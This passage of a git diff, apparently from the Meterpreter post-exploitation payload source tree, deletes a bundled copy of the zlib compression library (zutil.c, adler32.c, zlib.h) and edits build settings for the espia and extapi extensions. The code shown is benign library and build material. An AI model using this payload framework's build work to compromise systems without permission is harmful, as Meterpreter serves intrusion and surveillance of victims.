table[MAX_PTR]; -/* This table is used to remember the original form of pointers - * to large buffers (64K). Such pointers are normalized with a zero offset. - * Since MSDOS is not a preemptive multitasking OS, this table is not - * protected from concurrent access. This hack doesn't work anyway on - * a protected system like OS/2. Use Microsoft C instead. - */ - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - voidpf buf = opaque; /* just to make some compilers happy */ - ulg bsize = (ulg)items*size; - - /* If we allocate less than 65520 bytes, we assume that farmalloc - * will return a usable pointer which doesn't have to be normalized. - */ - if (bsize < 65520L) { - buf = farmalloc(bsize); - if (*(ush*)&buf != 0) return buf; - } else { - buf = farmalloc(bsize + 16L); - } - if (buf == NULL || next_ptr >= MAX_PTR) return NULL; - table[next_ptr].org_ptr = buf; - - /* Normalize the pointer to seg:0 */ - *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; - *(ush*)&buf = 0; - table[next_ptr++].new_ptr = buf; - return buf; -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - int n; - if (*(ush*)&ptr != 0) { /* object < 64K */ - farfree(ptr); - return; - } - /* Find the original pointer */ - for (n = 0; n < next_ptr; n++) { - if (ptr != table[n].new_ptr) continue; - - farfree(table[n].org_ptr); - while (++n < next_ptr) { - table[n-1] = table[n]; - } - next_ptr--; - return; - } - ptr = opaque; /* just to make some compilers happy */ - Assert(0, "zcfree: ptr not found"); -} -#endif -#endif /* __TURBOC__ */ - - -#if defined(M_I86) && !defined(__32BIT__) -/* Microsoft C in 16-bit mode */ - -# define MY_ZCALLOC - -#if (!defined(_MSC_VER) || (_MSC_VER < 600)) -# define _halloc halloc -# define _hfree hfree -#endif - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - return _halloc((long)items, size); -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - _hfree(ptr); -} - -#endif /* MSC */ - - -#ifndef MY_ZCALLOC /* Any system without a special alloc function */ - -#ifndef STDC -extern voidp calloc OF((uInt items, uInt size)); -extern void free OF((voidpf ptr)); -#endif - -voidpf zcalloc (opaque, items, size) - voidpf opaque; - unsigned items; - unsigned size; -{ - if (opaque) items += size - size; /* make compiler happy */ - return (voidpf)calloc(items, size); -} - -void zcfree (opaque, ptr) - voidpf opaque; - voidpf ptr; -{ - free(ptr); - if (opaque) return; /* make compiler happy */ -} - -#endif /* MY_ZCALLOC */ -/* --- zutil.c */ - -/* +++ adler32.c */ -/* adler32.c -- compute the Adler-32 checksum of a data stream - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: adler32.c,v 1.10 1996/05/22 11:52:18 me Exp $ */ - -/* #include "zlib.h" */ - -#define BASE 65521L /* largest prime smaller than 65536 */ -#define NMAX 5552 -/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ - -#define DO1(buf,i) {s1 += buf[(i)]; s2 += s1;} -#define DO2(buf,i) DO1(buf,i); DO1(buf,(i)+1); -#define DO4(buf,i) DO2(buf,i); DO2(buf,(i)+2); -#define DO8(buf,i) DO4(buf,i); DO4(buf,(i)+4); -#define DO16(buf) DO8(buf,0); DO8(buf,8); - -/* ========================================================================= */ -uLong adler32(adler, buf, len) - uLong adler; - const Bytef *buf; - uInt len; -{ - unsigned long s1 = adler & 0xffff; - unsigned long s2 = (adler >> 16) & 0xffff; - int k; - - if (buf == Z_NULL) return 1L; - - while (len > 0) { - k = len < NMAX ? len : NMAX; - len -= k; - while (k >= 16) { - DO16(buf); - buf += 16; - k -= 16; - } - if (k != 0) do { - s1 += *buf++; - s2 += s1; - } while (--k); - s1 %= BASE; - s2 %= BASE; - } - return (s2 << 16) | s1; -} -/* --- adler32.c */ diff --git a/c/meterpreter/source/server/zlib/zlib.h b/c/meterpreter/source/server/zlib/zlib.h deleted file mode 100644 index b0122681..00000000 --- a/c/meterpreter/source/server/zlib/zlib.h +++ /dev/null @@ -1,993 +0,0 @@ -/* - * This file is derived from zlib.h and zconf.h from the zlib-1.0.4 - * distribution by Jean-loup Gailly and Mark Adler, with some additions - * by Paul Mackerras to aid in implementing Deflate compression and - * decompression for PPP packets. - */ - -/* - * ==FILEVERSION 971127== - * - * This marker is used by the Linux installation script to determine - * whether an up-to-date version of this file is already installed. - */ - - -/* +++ zlib.h */ -/*- - zlib.h -- interface of the 'zlib' general purpose compression library - version 1.0.4, Jul 24th, 1996. - - Copyright (C) 1995-1996 Jean-loup Gailly and Mark Adler - - This software is provided 'as-is', without any express or implied - warranty. In no event will the authors be held liable for any damages - arising from the use of this software. - - Permission is granted to anyone to use this software for any purpose, - including commercial applications, and to alter it and redistribute it - freely, subject to the following restrictions: - - 1. The origin of this software must not be misrepresented; you must not - claim that you wrote the original software. If you use this software - in a product, an acknowledgment in the product documentation would be - appreciated but is not required. - 2. Altered source versions must be plainly marked as such, and must not be - misrepresented as being the original software. - 3. This notice may not be removed or altered from any source distribution. - - Jean-loup Gailly Mark Adler - gzip@prep.ai.mit.edu madler@alumni.caltech.edu -*/ -/* - The data format used by the zlib library is described by RFCs (Request for - Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt - (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). -*/ - -#ifndef _ZLIB_H -#define _ZLIB_H - -#ifdef __cplusplus -extern "C" { -#endif - - -/* +++ zconf.h */ -/* zconf.h -- configuration of the zlib compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: zconf.h,v 1.20 1996/07/02 15:09:28 me Exp $ */ - -#ifndef _ZCONF_H -#define _ZCONF_H - -/* - * If you *really* need a unique prefix for all types and library functions, - * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. - */ -#ifdef Z_PREFIX -# define deflateInit_ z_deflateInit_ -# define deflate z_deflate -# define deflateEnd z_deflateEnd -# define inflateInit_ z_inflateInit_ -# define inflate z_inflate -# define inflateEnd z_inflateEnd -# define deflateInit2_ z_deflateInit2_ -# define deflateSetDictionary z_deflateSetDictionary -# define deflateCopy z_deflateCopy -# define deflateReset z_deflateReset -# define deflateParams z_deflateParams -# define inflateInit2_ z_inflateInit2_ -# define inflateSetDictionary z_inflateSetDictionary -# define inflateSync z_inflateSync -# define inflateReset z_inflateReset -# define compress z_compress -# define uncompress z_uncompress -# define adler32 z_adler32 -#if 0 -# define crc32 z_crc32 -# define get_crc_table z_get_crc_table -#endif - -# define Byte z_Byte -# define uInt z_uInt -# define uLong z_uLong -# define Bytef z_Bytef -# define charf z_charf -# define intf z_intf -# define uIntf z_uIntf -# define uLongf z_uLongf -# define voidpf z_voidpf -# define voidp z_voidp -#endif - -#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) -# define WIN32 -#endif -#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) -# ifndef __32BIT__ -# define __32BIT__ -# endif -#endif -#if defined(__MSDOS__) && !defined(MSDOS) -# define MSDOS -#endif - -/* - * Compile with -DMAXSEG_64K if the alloc function cannot allocate more - * than 64k bytes at a time (needed on systems with 16-bit int). - */ -#if defined(MSDOS) && !defined(__32BIT__) -# define MAXSEG_64K -#endif -#ifdef MSDOS -# define UNALIGNED_OK -#endif - -#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) -# define STDC -#endif -#if (defined(__STDC__) || defined(__cplusplus)) && !defined(STDC) -# define STDC -#endif - -#ifndef STDC -# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ -# define const -# endif -#endif - -/* Some Mac compilers merge all .h files incorrectly: */ -#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) -# define NO_DUMMY_DECL -#endif - -/* Maximum value for memLevel in deflateInit2 */ -#ifndef MAX_MEM_LEVEL -# ifdef MAXSEG_64K -# define MAX_MEM_LEVEL 8 -# else -# define MAX_MEM_LEVEL 9 -# endif -#endif - -/* Maximum value for windowBits in deflateInit2 and inflateInit2 */ -#ifndef MAX_WBITS -# define MAX_WBITS 15 /* 32K LZ77 window */ -#endif - -/* The memory requirements for deflate are (in bytes): - 1 << (windowBits+2) + 1 << (memLevel+9) - that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) - plus a few kilobytes for small objects. For example, if you want to reduce - the default memory requirements from 256K to 128K, compile with - make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" - Of course this will generally degrade compression (there's no free lunch). - - The memory requirements for inflate are (in bytes) 1 << windowBits - that is, 32K for windowBits=15 (default value) plus a few kilobytes - for small objects. -*/ - - /* Type declarations */ - -#ifndef OF /* function prototypes */ -# ifdef STDC -# define OF(args) args -# else -# define OF(args) () -# endif -#endif - -/* The following definitions for FAR are needed only for MSDOS mixed - * model programming (small or medium model with some far allocations). - * This was tested only with MSC; for other MSDOS compilers you may have - * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, - * just define FAR to be empty. - */ -#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) - /* MSC small or medium model */ -# define SMALL_MEDIUM -# ifdef _MSC_VER -# define FAR __far -# else -# define FAR far -# endif -#endif -#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) -# ifndef __32BIT__ -# define SMALL_MEDIUM -# define FAR __far -# endif -#endif -#ifndef FAR -# define FAR -#endif - -typedef unsigned char Byte; /* 8 bits */ -typedef unsigned int uInt; /* 16 bits or more */ -typedef unsigned long uLong; /* 32 bits or more */ - -#if defined(__BORLANDC__) && defined(SMALL_MEDIUM) - /* Borland C/C++ ignores FAR inside typedef */ -# define Bytef Byte FAR -#else - typedef Byte FAR Bytef; -#endif -typedef char FAR charf; -typedef int FAR intf; -typedef uInt FAR uIntf; -typedef uLong FAR uLongf; - -#ifdef STDC - typedef void FAR *voidpf; - typedef void *voidp; -#else - typedef Byte FAR *voidpf; - typedef Byte *voidp; -#endif - - -/* Compile with -DZLIB_DLL for Windows DLL support */ -#if (defined(_WINDOWS) || defined(WINDOWS)) && defined(ZLIB_DLL) -# include -# define EXPORT WINAPI -#else -# define EXPORT -#endif - -#endif /* _ZCONF_H */ -/* --- zconf.h */ - -#define ZLIB_VERSION "1.0.4P" - -/* - The 'zlib' compression library provides in-memory compression and - decompression functions, including integrity checks of the uncompressed - data. This version of the library supports only one compression method - (deflation) but other algorithms may be added later and will have the same - stream interface. - - For compression the application must provide the output buffer and - may optionally provide the input buffer for optimization. For decompression, - the application must provide the input buffer and may optionally provide - the output buffer for optimization. - - Compression can be done in a single step if the buffers are large - enough (for example if an input file is mmap'ed), or can be done by - repeated calls of the compression function. In the latter case, the - application must provide more input and/or consume the output - (providing more output space) before each call. - - The library does not install any signal handler. It is recommended to - add at least a handler for SIGSEGV when decompressing; the library checks - the consistency of the input data whenever possible but may go nuts - for some forms of corrupted input. -*/ - -typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); -typedef void (*free_func) OF((voidpf opaque, voidpf address)); - -struct internal_state; - -typedef struct z_stream_s { - Bytef *next_in; /* next input byte */ - uInt avail_in; /* number of bytes available at next_in */ - uLong total_in; /* total nb of input bytes read so far */ - - Bytef *next_out; /* next output byte should be put there */ - uInt avail_out; /* remaining free space at next_out */ - uLong total_out; /* total nb of bytes output so far */ - - const char *msg; /* last error message, NULL if no error */ - struct internal_state FAR *state; /* not visible by applications */ - - alloc_func zalloc; /* used to allocate the internal state */ - free_func zfree; /* used to free the internal state */ - voidpf opaque; /* private data object passed to zalloc and zfree */ - - int data_type; /* best guess about the data type: ascii or binary */ - uLong adler; /* adler32 value of the uncompressed data */ - uLong reserved; /* reserved for future use */ -} z_stream; - -typedef z_stream FAR *z_streamp; - -/* - The application must update next_in and avail_in when avail_in has - dropped to zero. It must update next_out and avail_out when avail_out - has dropped to zero. The application must initialize zalloc, zfree and - opaque before calling the init function. All other fields are set by the - compression library and must not be updated by the application. - - The opaque value provided by the application will be passed as the first - parameter for calls of zalloc and zfree. This can be useful for custom - memory management. The compression library attaches no meaning to the - opaque value. - - zalloc must return Z_NULL if there is not enough memory for the object. - On 16-bit systems, the functions zalloc and zfree must be able to allocate - exactly 65536 bytes, but will not be required to allocate more than this - if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, - pointers returned by zalloc for objects of exactly 65536 bytes *must* - have their offset normalized to zero. The default allocation function - provided by this library ensures this (see zutil.c). To reduce memory - requirements and avoid any allocation of 64K objects, at the expense of - compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). - - The fields total_in and total_out can be used for statistics or - progress reports. After compression, total_in holds the total size of - the uncompressed data and may be saved for use in the decompressor - (particularly if the decompressor wants to decompress everything in - a single step). -*/ - - /* constants */ - -#define Z_NO_FLUSH 0 -#define Z_PARTIAL_FLUSH 1 -#define Z_PACKET_FLUSH 2 -#define Z_SYNC_FLUSH 3 -#define Z_FULL_FLUSH 4 -#define Z_FINISH 5 -/* Allowed flush values; see deflate() below for details */ - -#define Z_OK 0 -#define Z_STREAM_END 1 -#define Z_NEED_DICT 2 -#define Z_ERRNO (-1) -#define Z_STREAM_ERROR (-2) -#define Z_DATA_ERROR (-3) -#define Z_MEM_ERROR (-4) -#define Z_BUF_ERROR (-5) -#define Z_VERSION_ERROR (-6) -/* Return codes for the compression/decompression functions. Negative - * values are errors, positive values are used for special but normal events. - */ - -#define Z_NO_COMPRESSION 0 -#define Z_BEST_SPEED 1 -#define Z_BEST_COMPRESSION 9 -#define Z_DEFAULT_COMPRESSION (-1) -/* compression levels */ - -#define Z_FILTERED 1 -#define Z_HUFFMAN_ONLY 2 -#define Z_DEFAULT_STRATEGY 0 -/* compression strategy; see deflateInit2() below for details */ - -#define Z_BINARY 0 -#define Z_ASCII 1 -#define Z_UNKNOWN 2 -/* Possible values of the data_type field */ - -#define Z_DEFLATED 8 -/* The deflate compression method (the only one supported in this version) */ - -#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ - -#define zlib_version zlibVersion() -/* for compatibility with versions < 1.0.2 */ - - /* basic functions */ - -extern const char * EXPORT zlibVersion OF((void)); -/* The application can compare zlibVersion and ZLIB_VERSION for consistency. - If the first character differs, the library code actually used is - not compatible with the zlib.h header file used by the application. - This check is automatically made by deflateInit and inflateInit. - */ - -/* -extern int EXPORT deflateInit OF((z_streamp strm, int level)); - - Initializes the internal stream state for compression. The fields - zalloc, zfree and opaque must be initialized before by the caller. - If zalloc and zfree are set to Z_NULL, deflateInit updates them to - use default allocation functions. - - The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: - 1 gives best speed, 9 gives best compression, 0 gives no compression at - all (the input data is simply copied a block at a time). - Z_DEFAULT_COMPRESSION requests a default compromise between speed and - compression (currently equivalent to level 6). - - deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_STREAM_ERROR if level is not a valid compression level, - Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible - with the version assumed by the caller (ZLIB_VERSION). - msg is set to null if there is no error message. deflateInit does not - perform any compression: this will be done by deflate(). -*/ - - -extern int EXPORT deflate OF((z_streamp strm, int flush)); -/* - Performs one or both of the following actions: - - - Compress more input starting at next_in and update next_in and avail_in - accordingly. If not all input can be processed (because there is not - enough room in the output buffer), next_in and avail_in are updated and - processing will resume at this point for the next call of deflate(). - - - Provide more output starting at next_out and update next_out and avail_out - accordingly. This action is forced if the parameter flush is non zero. - Forcing flush frequently degrades the compression ratio, so this parameter - should be set only when necessary (in interactive applications). - Some output may be provided even if flush is not set. - - Before the call of deflate(), the application should ensure that at least - one of the actions is possible, by providing more input and/or consuming - more output, and updating avail_in or avail_out accordingly; avail_out - should never be zero before the call. The application can consume the - compressed output when it wants, for example when the output buffer is full - (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK - and with zero avail_out, it must be called again after making room in the - output buffer because there might be more output pending. - - If the parameter flush is set to Z_PARTIAL_FLUSH, the current compression - block is terminated and flushed to the output buffer so that the - decompressor can get all input data available so far. For method 9, a future - variant on method 8, the current block will be flushed but not terminated. - Z_SYNC_FLUSH has the same effect as partial flush except that the compressed - output is byte aligned (the compressor can clear its internal bit buffer) - and the current block is always terminated; this can be useful if the - compressor has to be restarted from scratch after an interruption (in which - case the internal state of the compressor may be lost). - If flush is set to Z_FULL_FLUSH, the compression block is terminated, a - special marker is output and the compression dictionary is discarded; this - is useful to allow the decompressor to synchronize if one compressed block - has been damaged (see inflateSync below). Flushing degrades compression and - so should be used only when necessary. Using Z_FULL_FLUSH too often can - seriously degrade the compression. If deflate returns with avail_out == 0, - this function must be called again with the same value of the flush - parameter and more output space (updated avail_out), until the flush is - complete (deflate returns with non-zero avail_out). - - If the parameter flush is set to Z_PACKET_FLUSH, the compression - block is terminated, and a zero-length stored block is output, - omitting the length bytes (the effect of this is that the 3-bit type - code 000 for a stored block is output, and the output is then - byte-aligned). This is designed for use at the end of a PPP packet. - - If the parameter flush is set to Z_FINISH, pending input is processed, - pending output is flushed and deflate returns with Z_STREAM_END if there - was enough output space; if deflate returns with Z_OK, this function must be - called again with Z_FINISH and more output space (updated avail_out) but no - more input data, until it returns with Z_STREAM_END or an error. After - deflate has returned Z_STREAM_END, the only possible operations on the - stream are deflateReset or deflateEnd. - - Z_FINISH can be used immediately after deflateInit if all the compression - is to be done in a single step. In this case, avail_out must be at least - 0.1% larger than avail_in plus 12 bytes. If deflate does not return - Z_STREAM_END, then it must be called again as described above. - - deflate() may update data_type if it can make a good guess about - the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered - binary. This field is only for information purposes and does not affect - the compression algorithm in any manner. - - deflate() returns Z_OK if some progress has been made (more input - processed or more output produced), Z_STREAM_END if all input has been - consumed and all output has been produced (only when flush is set to - Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example - if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible. -*/ - - -extern int EXPORT deflateEnd OF((z_streamp strm)); -/* - All dynamically allocated data structures for this stream are freed. - This function discards any unprocessed input and does not flush any - pending output. - - deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the - stream state was inconsistent, Z_DATA_ERROR if the stream was freed - prematurely (some input or output was discarded). In the error case, - msg may be set but then points to a static string (which must not be - deallocated). -*/ - - -/* -extern int EXPORT inflateInit OF((z_streamp strm)); - - Initializes the internal stream state for decompression. The fields - zalloc, zfree and opaque must be initialized before by the caller. If - zalloc and zfree are set to Z_NULL, inflateInit updates them to use default - allocation functions. - - inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_VERSION_ERROR if the zlib library version is incompatible - with the version assumed by the caller. msg is set to null if there is no - error message. inflateInit does not perform any decompression: this will be - done by inflate(). -*/ - -extern int EXPORT inflate OF((z_streamp strm, int flush)); -/* - Performs one or both of the following actions: - - - Decompress more input starting at next_in and update next_in and avail_in - accordingly. If not all input can be processed (because there is not - enough room in the output buffer), next_in is updated and processing - will resume at this point for the next call of inflate(). - - - Provide more output starting at next_out and update next_out and avail_out - accordingly. inflate() provides as much output as possible, until there - is no more input data or no more space in the output buffer (see below - about the flush parameter). - - Before the call of inflate(), the application should ensure that at least - one of the actions is possible, by providing more input and/or consuming - more output, and updating the next_* and avail_* values accordingly. - The application can consume the uncompressed output when it wants, for - example when the output buffer is full (avail_out == 0), or after each - call of inflate(). If inflate returns Z_OK and with zero avail_out, it - must be called again after making room in the output buffer because there - might be more output pending. - - If the parameter flush is set to Z_PARTIAL_FLUSH or Z_PACKET_FLUSH, - inflate flushes as much output as possible to the output buffer. The - flushing behavior of inflate is not specified for values of the flush - parameter other than Z_PARTIAL_FLUSH, Z_PACKET_FLUSH or Z_FINISH, but the - current implementation actually flushes as much output as possible - anyway. For Z_PACKET_FLUSH, inflate checks that once all the input data - has been consumed, it is expecting to see the length field of a stored - block; if not, it returns Z_DATA_ERROR. - - inflate() should normally be called until it returns Z_STREAM_END or an - error. However if all decompression is to be performed in a single step - (a single call of inflate), the parameter flush should be set to - Z_FINISH. In this case all pending input is processed and all pending - output is flushed; avail_out must be large enough to hold all the - uncompressed data. (The size of the uncompressed data may have been saved - by the compressor for this purpose.) The next operation on this stream must - be inflateEnd to deallocate the decompression state. The use of Z_FINISH - is never required, but can be used to inform inflate that a faster routine - may be used for the single inflate() call. - - inflate() returns Z_OK if some progress has been made (more input - processed or more output produced), Z_STREAM_END if the end of the - compressed data has been reached and all uncompressed output has been - produced, Z_NEED_DICT if a preset dictionary is needed at this point (see - inflateSetDictionary below), Z_DATA_ERROR if the input data was corrupted, - Z_STREAM_ERROR if the stream structure was inconsistent (for example if - next_in or next_out was NULL), Z_MEM_ERROR if there was not enough memory, - Z_BUF_ERROR if no progress is possible or if there was not enough room in - the output buffer when Z_FINISH is used. In the Z_DATA_ERROR case, the - application may then call inflateSync to look for a good compression block. - In the Z_NEED_DICT case, strm->adler is set to the Adler32 value of the - dictionary chosen by the compressor. -*/ - - -extern int EXPORT inflateEnd OF((z_streamp strm)); -/* - All dynamically allocated data structures for this stream are freed. - This function discards any unprocessed input and does not flush any - pending output. - - inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state - was inconsistent. In the error case, msg may be set but then points to a - static string (which must not be deallocated). -*/ - - /* Advanced functions */ - -/* - The following functions are needed only in some special applications. -*/ - -/* -extern int EXPORT deflateInit2 OF((z_streamp strm, - int level, - int method, - int windowBits, - int memLevel, - int strategy)); - - This is another version of deflateInit with more compression options. The - fields next_in, zalloc, zfree and opaque must be initialized before by - the caller. - - The method parameter is the compression method. It must be Z_DEFLATED in - this version of the library. (Method 9 will allow a 64K history buffer and - partial block flushes.) - - The windowBits parameter is the base two logarithm of the window size - (the size of the history buffer). It should be in the range 8..15 for this - version of the library (the value 16 will be allowed for method 9). Larger - values of this parameter result in better compression at the expense of - memory usage. The default value is 15 if deflateInit is used instead. - - The memLevel parameter specifies how much memory should be allocated - for the internal compression state. memLevel=1 uses minimum memory but - is slow and reduces compression ratio; memLevel=9 uses maximum memory - for optimal speed. The default value is 8. See zconf.h for total memory - usage as a function of windowBits and memLevel. - - The strategy parameter is used to tune the compression algorithm. Use the - value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a - filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no - string match). Filtered data consists mostly of small values with a - somewhat random distribution. In this case, the compression algorithm is - tuned to compress them better. The effect of Z_FILTERED is to force more - Huffman coding and less string matching; it is somewhat intermediate - between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects - the compression ratio but not the correctness of the compressed output even - if it is not set appropriately. - - If next_in is not null, the library will use this buffer to hold also - some history information; the buffer must either hold the entire input - data, or have at least 1<<(windowBits+1) bytes and be writable. If next_in - is null, the library will allocate its own history buffer (and leave next_in - null). next_out need not be provided here but must be provided by the - application for the next call of deflate(). - - If the history buffer is provided by the application, next_in must - must never be changed by the application since the compressor maintains - information inside this buffer from call to call; the application - must provide more input only by increasing avail_in. next_in is always - reset by the library in this case. - - deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was - not enough memory, Z_STREAM_ERROR if a parameter is invalid (such as - an invalid method). msg is set to null if there is no error message. - deflateInit2 does not perform any compression: this will be done by - deflate(). -*/ - -extern int EXPORT deflateSetDictionary OF((z_streamp strm, - const Bytef *dictionary, - uInt dictLength)); -/* - Initializes the compression dictionary (history buffer) from the given - byte sequence without producing any compressed output. This function must - be called immediately after deflateInit or deflateInit2, before any call - of deflate. The compressor and decompressor must use exactly the same - dictionary (see inflateSetDictionary). - The dictionary should consist of strings (byte sequences) that are likely - to be encountered later in the data to be compressed, with the most commonly - used strings preferably put towards the end of the dictionary. Using a - dictionary is most useful when the data to be compressed is short and - can be predicted with good accuracy; the data can then be compressed better - than with the default empty dictionary. In this version of the library, - only the last 32K bytes of the dictionary are used. - Upon return of this function, strm->adler is set to the Adler32 value - of the dictionary; the decompressor may later use this value to determine - which dictionary has been used by the compressor. (The Adler32 value - applies to the whole dictionary even if only a subset of the dictionary is - actually used by the compressor.) - - deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a - parameter is invalid (such as NULL dictionary) or the stream state - is inconsistent (for example if deflate has already been called for this - stream). deflateSetDictionary does not perform any compression: this will - be done by deflate(). -*/ - -extern int EXPORT deflateCopy OF((z_streamp dest, - z_streamp source)); -/* - Sets the destination stream as a complete copy of the source stream. If - the source stream is using an application-supplied history buffer, a new - buffer is allocated for the destination stream. The compressed output - buffer is always application-supplied. It's the responsibility of the - application to provide the correct values of next_out and avail_out for the - next call of deflate. - - This function can be useful when several compression strategies will be - tried, for example when there are several ways of pre-processing the input - data with a filter. The streams that will be discarded should then be freed - by calling deflateEnd. Note that deflateCopy duplicates the internal - compression state which can be quite large, so this strategy is slow and - can consume lots of memory. - - deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_STREAM_ERROR if the source stream state was inconsistent - (such as zalloc being NULL). msg is left unchanged in both source and - destination. -*/ - -extern int EXPORT deflateReset OF((z_streamp strm)); -/* - This function is equivalent to deflateEnd followed by deflateInit, - but does not free and reallocate all the internal compression state. - The stream will keep the same compression level and any other attributes - that may have been set by deflateInit2. - - deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source - stream state was inconsistent (such as zalloc or state being NULL). -*/ - -extern int EXPORT deflateParams OF((z_streamp strm, int level, int strategy)); -/* - Dynamically update the compression level and compression strategy. - This can be used to switch between compression and straight copy of - the input data, or to switch to a different kind of input data requiring - a different strategy. If the compression level is changed, the input - available so far is compressed with the old level (and may be flushed); - the new level will take effect only at the next call of deflate(). - - Before the call of deflateParams, the stream state must be set as for - a call of deflate(), since the currently available input may have to - be compressed and flushed. In particular, strm->avail_out must be non-zero. - - deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source - stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR - if strm->avail_out was zero. -*/ - -extern int EXPORT deflateOutputPending OF((z_streamp strm)); -/* - Returns the number of bytes of output which are immediately - available from the compressor (i.e. without any further input - or flush). -*/ - -/* -extern int EXPORT inflateInit2 OF((z_streamp strm, - int windowBits)); - - This is another version of inflateInit with more compression options. The - fields next_out, zalloc, zfree and opaque must be initialized before by - the caller. - - The windowBits parameter is the base two logarithm of the maximum window - size (the size of the history buffer). It should be in the range 8..15 for - this version of the library (the value 16 will be allowed soon). The - default value is 15 if inflateInit is used instead. If a compressed stream - with a larger window size is given as input, inflate() will return with - the error code Z_DATA_ERROR instead of trying to allocate a larger window. - - If next_out is not null, the library will use this buffer for the history - buffer; the buffer must either be large enough to hold the entire output - data, or have at least 1< - - diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index c097035b..74cb4d19 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -108,7 +108,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_espia.map @@ -159,7 +160,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_espia.map @@ -210,7 +212,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_espia.map @@ -261,7 +264,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_espia.map @@ -330,4 +334,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index bd0758f4..85af45a2 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -106,7 +106,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_extapi.map @@ -155,7 +156,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_extapi.map @@ -204,7 +206,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 